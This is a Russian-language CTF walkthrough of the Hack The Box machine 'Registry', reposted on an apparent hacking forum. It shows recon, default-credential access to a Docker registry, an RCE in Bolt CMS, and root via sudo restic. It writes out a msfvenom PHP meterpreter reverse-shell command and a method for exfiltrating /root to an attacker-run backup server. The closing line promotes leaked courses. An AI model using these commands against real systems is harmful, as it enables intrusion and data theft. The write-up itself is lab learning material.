HimeraSearchDB
Carding_EbayThief
triada
CrackerTuch
JustinSun

НОВОСТИ Hack The Box. Прохождение Registry. Docker, RCE в CMS Bolt и Restic

BDFpromo
Оффлайн

BDFpromo

.
.
Регистрация
23.09.18
Сообщения
12.347
Реакции
176
Репутация
0
kuc41bvkb4xxv59dovgzsisv3v4.png


Продолжаю публикацию решений отправленных на дорешивание машин с площадки . Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье повозимся с docker regisrty, эксплуатируем RCE в CMS Bolt, а повышаем привилегии с помощью программы для резервного копирования Restic.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.159, который я добавляю в /etc/hosts.


10.10.10.159 registry.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.


masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

nyxamal7y9ew_dpi5akjpl5tyzg.png


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.


nmap -A registry.htb -p22,80,443

vmud24vtv0bcunzuh9b6esvsuxi.png


На хосте открыто 3 порта, при этом сертификат (443 порт) предназначен для docker.registry.htb. Добавим его тоже в /etc/hosts.
10.10.10.159 docker.registry.htb

При побращении к нас встречает приглашение nginx, а к — пустая страница.

Давайте переберем директории с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

fxfvnuovslhkdv_q6eb9wrj_b8w.png


Backup.php нам ничего не дает, в bolt расположен сайт с CMS Bolt, а в install лежит какой-то файл, скачаем его.

wget -O ind

И узнаем, что это за файл.

vsbutecudplxwlabodtofurin9q.png


Мы можем сразу прочитать “gzip compressed data”.

keb4mxbqztkxwh9vjn_suzpguey.png


Таким образом получаем сертификат, и ссылки на справочную документацию по docker.
В случае с другим доменом, добавим параметр -k, чтобы пропустить проверку сертификата.

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

6p6wcqrbxerej8qqtctpe2se-8q.png


Перейдем теперь в директорию v2, и нас встречает аутентификация.

h0b6fsfizb1sv77nhk6t7xetooq.png


И самая простая комбинация admin:admin дает нам доступ. На хосте работает docker regisrty, поэтому, как следует из следующего пояснения, посмотрим его репозитории по следующему адресу: .

m7v207tovacegtiksw-qvarlzq8.png


И мы находим один репозиторий.

9lwdt1d1_edu48fyfn_5q3pjnm8.png


Давайте установим docker и обратимся к документации по установке сертификата.

_3bdqte29r62x5e3dns-2ysl1jg.png


Перейдем в директорию /etc/docker и добавим сертификат из архива.

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

_jbiwqz4iuuw9k0t4la1jpyxbi4.png


Теперь залогинимся в docker.

o-jmkn-kfaxayrq36zynajzuht4.png


Теперь загрузим образ.

sudo docker pull docker.registry.htb:443/bolt-image:latest


he_h5n24wtautt0mppzha9rbxde.png


И запустим.

sudo docker run -it docker.registry.htb:443/bolt-image:latest

И первым делом смотрим на SSH. Благо присутствует ключ, а также конфиг, из которого становится ясно, что наш пользователь — bolt.

gn4yqrdgrku7_vud2awqyqg4kee.png


Но вот дело в том, что ключ зашифрован. Это значит что при подключении у нас спросят пароль. Результат приносит поиск в файлах строки “pass”.

grep -i -r "pass" ./etc/

qujuktblbn-7s4zxnpx47ei31b4.png


В данном скрипте спрашивается пароль для расшифровывания ключа. И в нем же дается ответ.

kvj6jhhgdsngxvqrjmzzdsoj44u.png


Подключимся по ssh с нашим ключом.

c-mfhvkbrsvducli9hs39bjodke.png


На хосте был файл backup.php, давайте глянем, что в нем.

pfkw1ulx5mmj806jflvmiyqf3uu.png


Так используется sudo, и видимо без пароля. Но для bolt требуется пароль.

2qlmkntxlzqimzusjnwoi1wzhb8.png


Это значит, что нам нужно получить пользователя службы. Так как используется CMS Bolt, мы можем получить доступ к sqlite базе данных. Скачаем ее.

scp -i bolt_key [email protected]:/var/www/html/bolt/app/database/bolt.db ./

Начнем работу с базой.

sqlite3 bolt.db

Посмотрим таблицы.

zuiwoebisxnunz0d5pjb-wycyxi.png


И получим записи из таблицы bolt_users.

w_qaissj8uswtfezdd6nz3riblu.png


Таким образом, мы имеем хеш админа. Переберем его с помощью JTR.

uceapea5p2pcxc_kg1ne4es3qa0.png


Теперь авторизуемся в Bolt как admin. И наблюдаем версию 3.6.4.

1svekawyh3_rnghyvvb9d4vp0ci.png


Для этой версии есть эксплоиты.

a2mjz2xh-fe18eidqwpa-ylanvi.png


Уязвимость заключается в том, что мы можем добавить в конфиг нужное нам расширение файла для загрузки, а потом загрузить файл. Давайте сделаем php файл с нагрузкой (скажу наперед, что просто бэкконнект шел прокинуть не получается поэтому был проброшен 4321 порт: ssh -i ./bolt_key [email protected] -R:432:10.0.0.0:4321).


msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo ' r.php && xclip -selection clipboard -o >> r.php

И запустим листенер.

luaa-vi3w6guqhtvht8my0dmujk.png


Пройдем в Configuration -> Main Configuration и добавим расширение php для возможности загрузки файла.

wszy_hfyzq2bxgsx95mu0hahobw.png


Далее пройдем в File Management -> Upload files и добавим файл. После обращения к нему, увидим подключение.

9foug8uznzvqkjpsvtntw3tazyw.png


Запустим bash оболочку, также наблюдаем, что мы работаем от имени пользователя службы.

saj7vlnonjzuayhairfozmefney.png


Проверим sudo, наблюдаем, что команду из backup.php можно выполнять под sudo без пароля.

ruhgvji1shs1rodgjg6kj48cxig.png


Restic — это написанная на Golang программа для резервного копирования. Так как мы можем сделать резервную копию под sudo, мы можем скопировать всю директорию root. Для начала прокинем 8000 порт.

ssh -i ./bolt_key [email protected] -R:8000:0.0.0.0:8000

Установим и запустим rest-server (на 8000 посту без аутентификации).

jb1jfrfjfy4mdw6jpvjtdaf1gtu.png


Давайте подключимся и инициализируем резервную копию (restr1).

z1icssxfsot4h8tilwjgzc6eexw.png


А теперь создадим резервную копию директории root.

vortuadpepq7f3j4qgnf3s20mkk.png


Резервная копия сохранена на локальной машине. Посмотрим все сохраненные файлы. Находим ключ SSH.

restic -r /tmp/restic/restr1/ ls latest

x11v7979eyxritulmh7xs7ccxni.png


Восстановим его.

sm8nkl04kcfcxfefc06cudmqino.png


Подключимся.

ervizamsygwscdmnv03v1q900ak.png


У нас полный доступ в системе.

Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу